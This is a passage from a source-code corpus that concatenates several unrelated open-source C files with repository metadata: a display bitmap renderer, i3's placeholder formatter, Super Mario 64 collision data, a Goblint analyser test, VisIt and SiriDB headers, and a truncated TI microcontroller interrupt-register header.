= 0; optr = Device->Framebuffer + c * 3; } } } else { Height >>= 3; // don't know bitdepth, use brute-force solution for (int i = Width * Height, r = 0, c = 0; --i >= 0;) { uint8_t Byte = *Data++; DrawPixelFast( Device, c, (r << 3) + 7, (Byte & 0x01) * Color ); Byte >>= 1; DrawPixelFast( Device, c, (r << 3) + 6, (Byte & 0x01) * Color ); Byte >>= 1; DrawPixelFast( Device, c, (r << 3) + 5, (Byte & 0x01) * Color ); Byte >>= 1; DrawPixelFast( Device, c, (r << 3) + 4, (Byte & 0x01) * Color ); Byte >>= 1; DrawPixelFast( Device, c, (r << 3) + 3, (Byte & 0x01) * Color ); Byte >>= 1; DrawPixelFast( Device, c, (r << 3) + 2, (Byte & 0x01) * Color ); Byte >>= 1; DrawPixelFast( Device, c, (r << 3) + 1, (Byte & 0x01) * Color ); Byte >>= 1; DrawPixelFast( Device, c, (r << 3) + 0, (Byte & 0x01) * Color ); if (++r == Height) { c++; r = 0; } } /* for better understanding, here is the mundane version for (int x = 0; x < Width; x++) { for (int y = 0; y < Height; y++) { uint8_t Byte = *Data++; GDSDrawPixel4Fast( Device, x, y * 8 + 0, ((Byte >> 7) & 0x01) * Color ); GDSDrawPixel4Fast( Device, x, y * 8 + 1, ((Byte >> 6) & 0x01) * Color ); GDSDrawPixel4Fast( Device, x, y * 8 + 2, ((Byte >> 5) & 0x01) * Color ); GDSDrawPixel4Fast( Device, x, y * 8 + 3, ((Byte >> 4) & 0x01) * Color ); GDSDrawPixel4Fast( Device, x, y * 8 + 4, ((Byte >> 3) & 0x01) * Color ); GDSDrawPixel4Fast( Device, x, y * 8 + 5, ((Byte >> 2) & 0x01) * Color ); GDSDrawPixel4Fast( Device, x, y * 8 + 6, ((Byte >> 1) & 0x01) * Color ); GDSDrawPixel4Fast( Device, x, y * 8 + 7, ((Byte >> 0) & 0x01) * Color ); } } */ } Device->Dirty = true; }
24971861bd96ff9981fcb0db15ec048dfcf14bdb
1ff4566b59f96f1c4d7cae41cecc31c53188a81c
/libi3/format_placeholders.c
71870a7b131829bfb12d04503281b8af424c6acb
[ "BSD-3-Clause" ]
permissive
i3/i3
e5bb9db3545b77307f39b603cd6420dd192abcc4
d6e2a38b5cdf200c0fb82fc4cf7fff7dbcdeb605
refs/heads/next
2023-08-03T13:40:39.203230
2023-07-22T08:24:13
2023-07-22T08:24:13
30,291,090
9,823
1,238
BSD-3-Clause
2023-09-13T06:42:54
2015-02-04T09:23:51
C
UTF-8
C
false
false
1,796
c
format_placeholders.c
/* * vim:ts=4:sw=4:expandtab * * i3 - an improved dynamic tiling window manager * © 2009 Michael Stapelberg and contributors (see also: LICENSE) * */ #include "libi3.h" #include <stdlib.h> #include <string.h> #ifndef CS_STARTS_WITH #define CS_STARTS_WITH(string, needle) (strncmp((string), (needle), strlen((needle))) == 0) #endif /* * Replaces occurrences of the defined placeholders in the format string. * */ char *format_placeholders(char *format, placeholder_t *placeholders, int num) { if (format == NULL) return NULL; /* We have to first iterate over the string to see how much buffer space * we need to allocate. */ int buffer_len = strlen(format) + 1; for (char *walk = format; *walk != '\0'; walk++) { for (int i = 0; i < num; i++) { if (!CS_STARTS_WITH(walk, placeholders[i].name)) continue; buffer_len = buffer_len - strlen(placeholders[i].name) + strlen(placeholders[i].value); walk += strlen(placeholders[i].name) - 1; break; } } /* Now we can parse the format string. */ char buffer[buffer_len]; char *outwalk = buffer; for (char *walk = format; *walk != '\0'; walk++) { if (*walk != '%') { *(outwalk++) = *walk; continue; } bool matched = false; for (int i = 0; i < num; i++) { if (!CS_STARTS_WITH(walk, placeholders[i].name)) { continue; } matched = true; outwalk += sprintf(outwalk, "%s", placeholders[i].value); walk += strlen(placeholders[i].name) - 1; break; } if (!matched) *(outwalk++) = *walk; } *outwalk = '\0'; return sstrdup(buffer); }
6be8eb675fe7730cd6d6b482605d42e902e1eff0
ecce427678ecff2a93a47f3b1b664202c7d27617
/levels/wf/small_bomp/collision.inc.c
89d1c1054cb63d92a02dd1ed49cd1952c3f3edc2
[]
no_license
sm64pc/sm64ex
ecf37f31b3f7426c4874254660d856030d789714
54cd27ccee45a2403b45f07a00d6043c51149969
refs/heads/nightly
2023-08-11T12:14:34.424168
2023-07-01T11:45:50
2023-07-01T11:45:50
262,091,731
795
238
null
2023-07-01T11:45:51
2020-05-07T15:43:27
C
UTF-8
C
false
false
1,039
c
collision.inc.c
// 0x0700F868 - 0x0700F934 const Collision wf_seg7_collision_small_bomp[] = { COL_INIT(), COL_VERTEX_INIT(0xE), COL_VERTEX(259, 5, -128), COL_VERTEX(195, 210, -128), COL_VERTEX(259, 210, -96), COL_VERTEX(259, 210, 95), COL_VERTEX(259, 5, 127), COL_VERTEX(-252, 210, -128), COL_VERTEX(-252, 5, -128), COL_VERTEX(136, 261, -77), COL_VERTEX(195, 210, 127), COL_VERTEX(136, 261, 75), COL_VERTEX(-252, 5, 127), COL_VERTEX(-252, 261, 75), COL_VERTEX(-252, 261, -77), COL_VERTEX(-252, 210, 127), COL_TRI_INIT(SURFACE_WALL_MISC, 18), COL_TRI(0, 1, 2), COL_TRI(0, 3, 4), COL_TRI(0, 2, 3), COL_TRI(5, 1, 0), COL_TRI(5, 0, 6), COL_TRI(1, 7, 2), COL_TRI(7, 3, 2), COL_TRI(3, 8, 4), COL_TRI(3, 9, 8), COL_TRI(7, 9, 3), COL_TRI(10, 4, 8), COL_TRI(11, 7, 12), COL_TRI(11, 9, 7), COL_TRI(12, 7, 1), COL_TRI(8, 9, 11), COL_TRI(12, 1, 5), COL_TRI(13, 8, 11), COL_TRI(10, 8, 13), COL_TRI_STOP(), COL_END(), };
cf17d8f032a3e872918fff414af5405b3dd73fad
e3acfc4f06840e23ef1185dcf367f40d3e3f59b4
/tests/regression/43-struct-domain/26-intervals-branching-meet-keyed.c
2f0778dc6d381248584f6863ca55feebef0c3cba
[ "MIT" ]
permissive
goblint/analyzer
d62d3c610b86ed288849371b41c330c30678abc7
69ee7163eef0bfbfd6a4f3b9fda7cea5ce9ab79f
refs/heads/master
2023-08-16T21:58:53.013737
2023-08-16T08:49:18
2023-08-16T08:49:18
2,066,905
141
62
MIT
2023-09-14T18:48:34
2011-07-18T15:10:56
OCaml
UTF-8
C
false
false
773
c
26-intervals-branching-meet-keyed.c
// PARAM: --enable ana.int.interval --set ana.base.structs.domain "keyed" #include <goblint.h> struct Pair { int first; int second; }; void example1() { int a; int b; struct Pair pair; if (a) { pair.first = 10; pair.second = 20; } else { pair.first = 20; pair.second = 30; } if (pair.first == 15) { // This should be unreachable! b = 0; // This line is not dead if we --disable ana.base.structs.meet-condition } else if (pair.first == 10) { __goblint_check(pair.second == 20); b = 1; } else if (pair.first == 20) { __goblint_check(pair.second == 30); b = 1; } __goblint_check(b == 1); } int main() { example1(); return 0; }
31f141abb3a7ea45019f3f9afe50b072d5a2177a
03666e5f961946fc1a0ac67781ac1425562ef0d7
/src/databases/DDCMD/error.h
148edd053e291662fd00b50b527ed1898198132e
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
visit-dav/visit
e9f81b4d4b9b9930a0db9d5282cd1bcabf465e2e
601ae46e0bef2e18425b482a755d03490ade0493
refs/heads/develop
2023-09-06T08:19:38.397058
2023-09-05T21:29:32
2023-09-05T21:29:32
165,565,988
335
120
BSD-3-Clause
2023-09-14T00:53:37
2019-01-13T23:27:26
C
UTF-8
C
false
false
269
h
error.h
#define ERROR_IN(name,action) NULL,name,__FILE__,__LINE__,action #define LOCATION(name) location(name,__FILE__,__LINE__) char *location(const char *string, const char *file, int linenumber); enum ACTION { CONTINUE, ABORT }; void error_action(const char *start, ...);
6ebd6b03bdfb5f4ad0dada2795d5819ac240fb41
57d291312405dd9093fbca45743984ab56c549d0
/include/siri/db/pools.h
6bb4691aee5f64e1cbbe6c63623c827d32fcd3aa
[ "MIT" ]
permissive
SiriDB/siridb-server
159f9cc8f0f53401a5507e0394929f828f80a244
f0edd48c02bc18a39c8bdfd53b9b179b8c216f86
refs/heads/master
2023-08-19T09:17:38.075457
2023-03-21T10:24:13
2023-03-21T10:24:13
55,093,657
176
24
MIT
2022-09-17T06:59:52
2016-03-30T19:58:40
C
UTF-8
C
false
false
1,310
h
pools.h
/* * pools.h - Collection of pools. */ #ifndef SIRIDB_POOLS_H_ #define SIRIDB_POOLS_H_ typedef struct siridb_pools_s siridb_pools_t; #include <inttypes.h> #include <siri/db/db.h> #include <siri/db/pool.h> #include <siri/db/server.h> #include <siri/net/pkg.h> #include <siri/net/promise.h> #include <siri/net/promises.h> #include <vec/vec.h> #include <siri/db/lookup.h> void siridb_pools_init(siridb_t * siridb); void siridb_pools_free(siridb_pools_t * pools); siridb_pool_t * siridb_pools_append( siridb_pools_t * pools, siridb_server_t * server); siridb_lookup_t * siridb_pools_gen_lookup(uint_fast16_t num_pools); int siridb_pools_online(siridb_t * siridb); int siridb_pools_available(siridb_t * siridb); int siridb_pools_accessible(siridb_t * siridb); void siridb_pools_send_pkg( siridb_t * siridb, sirinet_pkg_t * pkg, uint64_t timeout, sirinet_promises_cb cb, void * data, int flags); void siridb_pools_send_pkg_2some( vec_t * vec, sirinet_pkg_t * pkg, uint64_t timeout, sirinet_promises_cb cb, void * data, int flags); struct siridb_pools_s { uint16_t len; siridb_pool_t * pool; siridb_lookup_t * lookup; siridb_lookup_t * prev_lookup; }; #endif /* SIRIDB_POOLS_H_ */
513c3f3621168993f0b85c6f067032f852e6e528
99bdb3251fecee538e0630f15f6574054dfc1468
/bsp/ti/c28x/libraries/tms320f28379d/headers/include/F2837xD_piectrl.h
75f9303244ad2a9bbce40666b53b22b56633bb02
[ "Zlib", "LicenseRef-scancode-proprietary-license", "MIT", "BSD-3-Clause", "X11", "BSD-4-Clause-UC", "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
RT-Thread/rt-thread
03a7c52c2aeb1b06a544143b0e803d72f47d1ece
3602f891211904a27dcbd51e5ba72fefce7326b2
refs/heads/master
2023-09-01T04:10:20.295801
2023-08-31T16:20:55
2023-08-31T16:20:55
7,408,108
9,599
5,805
Apache-2.0
2023-09-14T13:37:26
2013-01-02T14:49:21
C
UTF-8
C
false
false
37,315
h
F2837xD_piectrl.h
//########################################################################### // // FILE: F2837xD_piectrl.h // // TITLE: PIECTRL Register Definitions. // //########################################################################### // $TI Release: F2837xD Support Library v3.05.00.00 $ // $Release Date: Tue Jun 26 03:15:23 CDT 2018 $ // $Copyright: // Copyright (C) 2013-2018 Texas Instruments Incorporated - http://www.ti.com/ // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // // Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the // distribution. // // Neither the name of Texas Instruments Incorporated nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // $ //########################################################################### #ifndef __F2837xD_PIECTRL_H__ #define __F2837xD_PIECTRL_H__ #ifdef __cplusplus extern "C" { #endif //--------------------------------------------------------------------------- // PIECTRL Individual Register Bit Definitions: struct PIECTRL_BITS { // bits description Uint16 ENPIE:1; // 0 PIE Enable Uint16 PIEVECT:15; // 15:1 PIE Vector Address }; union PIECTRL_REG { Uint16 all; struct PIECTRL_BITS bit; }; struct PIEACK_BITS { // bits description Uint16 ACK1:1; // 0 Acknowledge PIE Interrupt Group 1 Uint16 ACK2:1; // 1 Acknowledge PIE Interrupt Group 2 Uint16 ACK3:1; // 2 Acknowledge PIE Interrupt Group 3 Uint16 ACK4:1; // 3 Acknowledge PIE Interrupt Group 4 Uint16 ACK5:1; // 4 Acknowledge PIE Interrupt Group 5 Uint16 ACK6:1; // 5 Acknowledge PIE Interrupt Group 6 Uint16 ACK7:1; // 6 Acknowledge PIE Interrupt Group 7 Uint16 ACK8:1; // 7 Acknowledge PIE Interrupt Group 8 Uint16 ACK9:1; // 8 Acknowledge PIE Interrupt Group 9 Uint16 ACK10:1; // 9 Acknowledge PIE Interrupt Group 10 Uint16 ACK11:1; // 10 Acknowledge PIE Interrupt Group 11 Uint16 ACK12:1; // 11 Acknowledge PIE Interrupt Group 12 Uint16 rsvd1:4; // 15:12 Reserved }; union PIEACK_REG { Uint16 all; struct PIEACK_BITS bit; }; struct PIEIER1_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 1.1 Uint16 INTx2:1; // 1 Enable for Interrupt 1.2 Uint16 INTx3:1; // 2 Enable for Interrupt 1.3 Uint16 INTx4:1; // 3 Enable for Interrupt 1.4 Uint16 INTx5:1; // 4 Enable for Interrupt 1.5 Uint16 INTx6:1; // 5 Enable for Interrupt 1.6 Uint16 INTx7:1; // 6 Enable for Interrupt 1.7 Uint16 INTx8:1; // 7 Enable for Interrupt 1.8 Uint16 INTx9:1; // 8 Enable for Interrupt 1.9 Uint16 INTx10:1; // 9 Enable for Interrupt 1.10 Uint16 INTx11:1; // 10 Enable for Interrupt 1.11 Uint16 INTx12:1; // 11 Enable for Interrupt 1.12 Uint16 INTx13:1; // 12 Enable for Interrupt 1.13 Uint16 INTx14:1; // 13 Enable for Interrupt 1.14 Uint16 INTx15:1; // 14 Enable for Interrupt 1.15 Uint16 INTx16:1; // 15 Enable for Interrupt 1.16 }; union PIEIER1_REG { Uint16 all; struct PIEIER1_BITS bit; }; struct PIEIFR1_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 1.1 Uint16 INTx2:1; // 1 Flag for Interrupt 1.2 Uint16 INTx3:1; // 2 Flag for Interrupt 1.3 Uint16 INTx4:1; // 3 Flag for Interrupt 1.4 Uint16 INTx5:1; // 4 Flag for Interrupt 1.5 Uint16 INTx6:1; // 5 Flag for Interrupt 1.6 Uint16 INTx7:1; // 6 Flag for Interrupt 1.7 Uint16 INTx8:1; // 7 Flag for Interrupt 1.8 Uint16 INTx9:1; // 8 Flag for Interrupt 1.9 Uint16 INTx10:1; // 9 Flag for Interrupt 1.10 Uint16 INTx11:1; // 10 Flag for Interrupt 1.11 Uint16 INTx12:1; // 11 Flag for Interrupt 1.12 Uint16 INTx13:1; // 12 Flag for Interrupt 1.13 Uint16 INTx14:1; // 13 Flag for Interrupt 1.14 Uint16 INTx15:1; // 14 Flag for Interrupt 1.15 Uint16 INTx16:1; // 15 Flag for Interrupt 1.16 }; union PIEIFR1_REG { Uint16 all; struct PIEIFR1_BITS bit; }; struct PIEIER2_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 2.1 Uint16 INTx2:1; // 1 Enable for Interrupt 2.2 Uint16 INTx3:1; // 2 Enable for Interrupt 2.3 Uint16 INTx4:1; // 3 Enable for Interrupt 2.4 Uint16 INTx5:1; // 4 Enable for Interrupt 2.5 Uint16 INTx6:1; // 5 Enable for Interrupt 2.6 Uint16 INTx7:1; // 6 Enable for Interrupt 2.7 Uint16 INTx8:1; // 7 Enable for Interrupt 2.8 Uint16 INTx9:1; // 8 Enable for Interrupt 2.9 Uint16 INTx10:1; // 9 Enable for Interrupt 2.10 Uint16 INTx11:1; // 10 Enable for Interrupt 2.11 Uint16 INTx12:1; // 11 Enable for Interrupt 2.12 Uint16 INTx13:1; // 12 Enable for Interrupt 2.13 Uint16 INTx14:1; // 13 Enable for Interrupt 2.14 Uint16 INTx15:1; // 14 Enable for Interrupt 2.15 Uint16 INTx16:1; // 15 Enable for Interrupt 2.16 }; union PIEIER2_REG { Uint16 all; struct PIEIER2_BITS bit; }; struct PIEIFR2_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 2.1 Uint16 INTx2:1; // 1 Flag for Interrupt 2.2 Uint16 INTx3:1; // 2 Flag for Interrupt 2.3 Uint16 INTx4:1; // 3 Flag for Interrupt 2.4 Uint16 INTx5:1; // 4 Flag for Interrupt 2.5 Uint16 INTx6:1; // 5 Flag for Interrupt 2.6 Uint16 INTx7:1; // 6 Flag for Interrupt 2.7 Uint16 INTx8:1; // 7 Flag for Interrupt 2.8 Uint16 INTx9:1; // 8 Flag for Interrupt 2.9 Uint16 INTx10:1; // 9 Flag for Interrupt 2.10 Uint16 INTx11:1; // 10 Flag for Interrupt 2.11 Uint16 INTx12:1; // 11 Flag for Interrupt 2.12 Uint16 INTx13:1; // 12 Flag for Interrupt 2.13 Uint16 INTx14:1; // 13 Flag for Interrupt 2.14 Uint16 INTx15:1; // 14 Flag for Interrupt 2.15 Uint16 INTx16:1; // 15 Flag for Interrupt 2.16 }; union PIEIFR2_REG { Uint16 all; struct PIEIFR2_BITS bit; }; struct PIEIER3_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 3.1 Uint16 INTx2:1; // 1 Enable for Interrupt 3.2 Uint16 INTx3:1; // 2 Enable for Interrupt 3.3 Uint16 INTx4:1; // 3 Enable for Interrupt 3.4 Uint16 INTx5:1; // 4 Enable for Interrupt 3.5 Uint16 INTx6:1; // 5 Enable for Interrupt 3.6 Uint16 INTx7:1; // 6 Enable for Interrupt 3.7 Uint16 INTx8:1; // 7 Enable for Interrupt 3.8 Uint16 INTx9:1; // 8 Enable for Interrupt 3.9 Uint16 INTx10:1; // 9 Enable for Interrupt 3.10 Uint16 INTx11:1; // 10 Enable for Interrupt 3.11 Uint16 INTx12:1; // 11 Enable for Interrupt 3.12 Uint16 INTx13:1; // 12 Enable for Interrupt 3.13 Uint16 INTx14:1; // 13 Enable for Interrupt 3.14 Uint16 INTx15:1; // 14 Enable for Interrupt 3.15 Uint16 INTx16:1; // 15 Enable for Interrupt 3.16 }; union PIEIER3_REG { Uint16 all; struct PIEIER3_BITS bit; }; struct PIEIFR3_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 3.1 Uint16 INTx2:1; // 1 Flag for Interrupt 3.2 Uint16 INTx3:1; // 2 Flag for Interrupt 3.3 Uint16 INTx4:1; // 3 Flag for Interrupt 3.4 Uint16 INTx5:1; // 4 Flag for Interrupt 3.5 Uint16 INTx6:1; // 5 Flag for Interrupt 3.6 Uint16 INTx7:1; // 6 Flag for Interrupt 3.7 Uint16 INTx8:1; // 7 Flag for Interrupt 3.8 Uint16 INTx9:1; // 8 Flag for Interrupt 3.9 Uint16 INTx10:1; // 9 Flag for Interrupt 3.10 Uint16 INTx11:1; // 10 Flag for Interrupt 3.11 Uint16 INTx12:1; // 11 Flag for Interrupt 3.12 Uint16 INTx13:1; // 12 Flag for Interrupt 3.13 Uint16 INTx14:1; // 13 Flag for Interrupt 3.14 Uint16 INTx15:1; // 14 Flag for Interrupt 3.15 Uint16 INTx16:1; // 15 Flag for Interrupt 3.16 }; union PIEIFR3_REG { Uint16 all; struct PIEIFR3_BITS bit; }; struct PIEIER4_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 4.1 Uint16 INTx2:1; // 1 Enable for Interrupt 4.2 Uint16 INTx3:1; // 2 Enable for Interrupt 4.3 Uint16 INTx4:1; // 3 Enable for Interrupt 4.4 Uint16 INTx5:1; // 4 Enable for Interrupt 4.5 Uint16 INTx6:1; // 5 Enable for Interrupt 4.6 Uint16 INTx7:1; // 6 Enable for Interrupt 4.7 Uint16 INTx8:1; // 7 Enable for Interrupt 4.8 Uint16 INTx9:1; // 8 Enable for Interrupt 4.9 Uint16 INTx10:1; // 9 Enable for Interrupt 4.10 Uint16 INTx11:1; // 10 Enable for Interrupt 4.11 Uint16 INTx12:1; // 11 Enable for Interrupt 4.12 Uint16 INTx13:1; // 12 Enable for Interrupt 4.13 Uint16 INTx14:1; // 13 Enable for Interrupt 4.14 Uint16 INTx15:1; // 14 Enable for Interrupt 4.15 Uint16 INTx16:1; // 15 Enable for Interrupt 4.16 }; union PIEIER4_REG { Uint16 all; struct PIEIER4_BITS bit; }; struct PIEIFR4_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 4.1 Uint16 INTx2:1; // 1 Flag for Interrupt 4.2 Uint16 INTx3:1; // 2 Flag for Interrupt 4.3 Uint16 INTx4:1; // 3 Flag for Interrupt 4.4 Uint16 INTx5:1; // 4 Flag for Interrupt 4.5 Uint16 INTx6:1; // 5 Flag for Interrupt 4.6 Uint16 INTx7:1; // 6 Flag for Interrupt 4.7 Uint16 INTx8:1; // 7 Flag for Interrupt 4.8 Uint16 INTx9:1; // 8 Flag for Interrupt 4.9 Uint16 INTx10:1; // 9 Flag for Interrupt 4.10 Uint16 INTx11:1; // 10 Flag for Interrupt 4.11 Uint16 INTx12:1; // 11 Flag for Interrupt 4.12 Uint16 INTx13:1; // 12 Flag for Interrupt 4.13 Uint16 INTx14:1; // 13 Flag for Interrupt 4.14 Uint16 INTx15:1; // 14 Flag for Interrupt 4.15 Uint16 INTx16:1; // 15 Flag for Interrupt 4.16 }; union PIEIFR4_REG { Uint16 all; struct PIEIFR4_BITS bit; }; struct PIEIER5_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 5.1 Uint16 INTx2:1; // 1 Enable for Interrupt 5.2 Uint16 INTx3:1; // 2 Enable for Interrupt 5.3 Uint16 INTx4:1; // 3 Enable for Interrupt 5.4 Uint16 INTx5:1; // 4 Enable for Interrupt 5.5 Uint16 INTx6:1; // 5 Enable for Interrupt 5.6 Uint16 INTx7:1; // 6 Enable for Interrupt 5.7 Uint16 INTx8:1; // 7 Enable for Interrupt 5.8 Uint16 INTx9:1; // 8 Enable for Interrupt 5.9 Uint16 INTx10:1; // 9 Enable for Interrupt 5.10 Uint16 INTx11:1; // 10 Enable for Interrupt 5.11 Uint16 INTx12:1; // 11 Enable for Interrupt 5.12 Uint16 INTx13:1; // 12 Enable for Interrupt 5.13 Uint16 INTx14:1; // 13 Enable for Interrupt 5.14 Uint16 INTx15:1; // 14 Enable for Interrupt 5.15 Uint16 INTx16:1; // 15 Enable for Interrupt 5.16 }; union PIEIER5_REG { Uint16 all; struct PIEIER5_BITS bit; }; struct PIEIFR5_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 5.1 Uint16 INTx2:1; // 1 Flag for Interrupt 5.2 Uint16 INTx3:1; // 2 Flag for Interrupt 5.3 Uint16 INTx4:1; // 3 Flag for Interrupt 5.4 Uint16 INTx5:1; // 4 Flag for Interrupt 5.5 Uint16 INTx6:1; // 5 Flag for Interrupt 5.6 Uint16 INTx7:1; // 6 Flag for Interrupt 5.7 Uint16 INTx8:1; // 7 Flag for Interrupt 5.8 Uint16 INTx9:1; // 8 Flag for Interrupt 5.9 Uint16 INTx10:1; // 9 Flag for Interrupt 5.10 Uint16 INTx11:1; // 10 Flag for Interrupt 5.11 Uint16 INTx12:1; // 11 Flag for Interrupt 5.12 Uint16 INTx13:1; // 12 Flag for Interrupt 5.13 Uint16 INTx14:1; // 13 Flag for Interrupt 5.14 Uint16 INTx15:1; // 14 Flag for Interrupt 5.15 Uint16 INTx16:1; // 15 Flag for Interrupt 5.16 }; union PIEIFR5_REG { Uint16 all; struct PIEIFR5_BITS bit; }; struct PIEIER6_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 6.1 Uint16 INTx2:1; // 1 Enable for Interrupt 6.2 Uint16 INTx3:1; // 2 Enable for Interrupt 6.3 Uint16 INTx4:1; // 3 Enable for Interrupt 6.4 Uint16 INTx5:1; // 4 Enable for Interrupt 6.5 Uint16 INTx6:1; // 5 Enable for Interrupt 6.6 Uint16 INTx7:1; // 6 Enable for Interrupt 6.7 Uint16 INTx8:1; // 7 Enable for Interrupt 6.8 Uint16 INTx9:1; // 8 Enable for Interrupt 6.9 Uint16 INTx10:1; // 9 Enable for Interrupt 6.10 Uint16 INTx11:1; // 10 Enable for Interrupt 6.11 Uint16 INTx12:1; // 11 Enable for Interrupt 6.12 Uint16 INTx13:1; // 12 Enable for Interrupt 6.13 Uint16 INTx14:1; // 13 Enable for Interrupt 6.14 Uint16 INTx15:1; // 14 Enable for Interrupt 6.15 Uint16 INTx16:1; // 15 Enable for Interrupt 6.16 }; union PIEIER6_REG { Uint16 all; struct PIEIER6_BITS bit; }; struct PIEIFR6_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 6.1 Uint16 INTx2:1; // 1 Flag for Interrupt 6.2 Uint16 INTx3:1; // 2 Flag for Interrupt 6.3 Uint16 INTx4:1; // 3 Flag for Interrupt 6.4 Uint16 INTx5:1; // 4 Flag for Interrupt 6.5 Uint16 INTx6:1; // 5 Flag for Interrupt 6.6 Uint16 INTx7:1; // 6 Flag for Interrupt 6.7 Uint16 INTx8:1; // 7 Flag for Interrupt 6.8 Uint16 INTx9:1; // 8 Flag for Interrupt 6.9 Uint16 INTx10:1; // 9 Flag for Interrupt 6.10 Uint16 INTx11:1; // 10 Flag for Interrupt 6.11 Uint16 INTx12:1; // 11 Flag for Interrupt 6.12 Uint16 INTx13:1; // 12 Flag for Interrupt 6.13 Uint16 INTx14:1; // 13 Flag for Interrupt 6.14 Uint16 INTx15:1; // 14 Flag for Interrupt 6.15 Uint16 INTx16:1; // 15 Flag for Interrupt 6.16 }; union PIEIFR6_REG { Uint16 all; struct PIEIFR6_BITS bit; }; struct PIEIER7_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 7.1 Uint16 INTx2:1; // 1 Enable for Interrupt 7.2 Uint16 INTx3:1; // 2 Enable for Interrupt 7.3 Uint16 INTx4:1; // 3 Enable for Interrupt 7.4 Uint16 INTx5:1; // 4 Enable for Interrupt 7.5 Uint16 INTx6:1; // 5 Enable for Interrupt 7.6 Uint16 INTx7:1; // 6 Enable for Interrupt 7.7 Uint16 INTx8:1; // 7 Enable for Interrupt 7.8 Uint16 INTx9:1; // 8 Enable for Interrupt 7.9 Uint16 INTx10:1; // 9 Enable for Interrupt 7.10 Uint16 INTx11:1; // 10 Enable for Interrupt 7.11 Uint16 INTx12:1; // 11 Enable for Interrupt 7.12 Uint16 INTx13:1; // 12 Enable for Interrupt 7.13 Uint16 INTx14:1; // 13 Enable for Interrupt 7.14 Uint16 INTx15:1; // 14 Enable for Interrupt 7.15 Uint16 INTx16:1; // 15 Enable for Interrupt 7.16 }; union PIEIER7_REG { Uint16 all; struct PIEIER7_BITS bit; }; struct PIEIFR7_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 7.1 Uint16 INTx2:1; // 1 Flag for Interrupt 7.2 Uint16 INTx3:1; // 2 Flag for Interrupt 7.3 Uint16 INTx4:1; // 3 Flag for Interrupt 7.4 Uint16 INTx5:1; // 4 Flag for Interrupt 7.5 Uint16 INTx6:1; // 5 Flag for Interrupt 7.6 Uint16 INTx7:1; // 6 Flag for Interrupt 7.7 Uint16 INTx8:1; // 7 Flag for Interrupt 7.8 Uint16 INTx9:1; // 8 Flag for Interrupt 7.9 Uint16 INTx10:1; // 9 Flag for Interrupt 7.10 Uint16 INTx11:1; // 10 Flag for Interrupt 7.11 Uint16 INTx12:1; // 11 Flag for Interrupt 7.12 Uint16 INTx13:1; // 12 Flag for Interrupt 7.13 Uint16 INTx14:1; // 13 Flag for Interrupt 7.14 Uint16 INTx15:1; // 14 Flag for Interrupt 7.15 Uint16 INTx16:1; // 15 Flag for Interrupt 7.16 }; union PIEIFR7_REG { Uint16 all; struct PIEIFR7_BITS bit; }; struct PIEIER8_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 8.1 Uint16 INTx2:1; // 1 Enable for Interrupt 8.2 Uint16 INTx3:1; // 2 Enable for Interrupt 8.3 Uint16 INTx4:1; // 3 Enable for Interrupt 8.4 Uint16 INTx5:1; // 4 Enable for Interrupt 8.5 Uint16 INTx6:1; // 5 Enable for Interrupt 8.6 Uint16 INTx7:1; // 6 Enable for Interrupt 8.7 Uint16 INTx8:1; // 7 Enable for Interrupt 8.8 Uint16 INTx9:1; // 8 Enable for Interrupt 8.9 Uint16 INTx10:1; // 9 Enable for Interrupt 8.10 Uint16 INTx11:1; // 10 Enable for Interrupt 8.11 Uint16 INTx12:1; // 11 Enable for Interrupt 8.12 Uint16 INTx13:1; // 12 Enable for Interrupt 8.13 Uint16 INTx14:1; // 13 Enable for Interrupt 8.14 Uint16 INTx15:1; // 14 Enable for Interrupt 8.15 Uint16 INTx16:1; // 15 Enable for Interrupt 8.16 }; union PIEIER8_REG { Uint16 all; struct PIEIER8_BITS bit; }; struct PIEIFR8_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 8.1 Uint16 INTx2:1; // 1 Flag for Interrupt 8.2 Uint16 INTx3:1; // 2 Flag for Interrupt 8.3 Uint16 INTx4:1; // 3 Flag for Interrupt 8.4 Uint16 INTx5:1; // 4 Flag for Interrupt 8.5 Uint16 INTx6:1; // 5 Flag for Interrupt 8.6 Uint16 INTx7:1; // 6 Flag for 